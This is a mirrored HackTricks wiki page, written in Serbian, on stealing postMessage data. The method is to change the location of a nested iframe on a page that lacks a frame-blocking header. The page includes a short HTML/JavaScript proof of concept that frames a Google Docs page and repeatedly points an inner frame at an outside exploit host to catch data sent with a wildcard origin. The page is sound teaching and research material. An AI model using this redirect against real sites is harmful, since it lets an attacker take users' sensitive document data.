mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
32 lines
1.2 KiB
Markdown
32 lines
1.2 KiB
Markdown
# Steal postmessage modifying iframe location
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Promena lokacija child iframes
|
|
|
|
Prema [**ovom izveštaju**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ako možete da iframe-ujete veb stranicu bez X-Frame-Header koja sadrži drugi iframe, možete **promeniti lokaciju tog child iframe-a**.
|
|
|
|
Na primer, ako abc.com ima efg.com kao iframe i abc.com nema X-Frame header, mogao bih da promenim efg.com u evil.com cross origin koristeći **`frames.location`**.
|
|
|
|
Ovo je posebno korisno u **postMessages** jer ako stranica šalje osetljive podatke koristeći **wildcard** kao što je `windowRef.postmessage("","*")`, moguće je **promeniti lokaciju povezanog iframe-a (child ili parent) na lokaciju koju kontroliše napadač** i ukrasti te podatke.
|
|
```html
|
|
<html>
|
|
<iframe src="https://docs.google.com/document/ID" />
|
|
<script>
|
|
//pseudo code
|
|
setTimeout(function () {
|
|
exp()
|
|
}, 6000)
|
|
|
|
function exp() {
|
|
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
|
|
setInterval(function () {
|
|
window.frames[0].frame[0][2].location =
|
|
"https://geekycat.in/exploit.html"
|
|
}, 100)
|
|
}
|
|
</script>
|
|
</html>
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|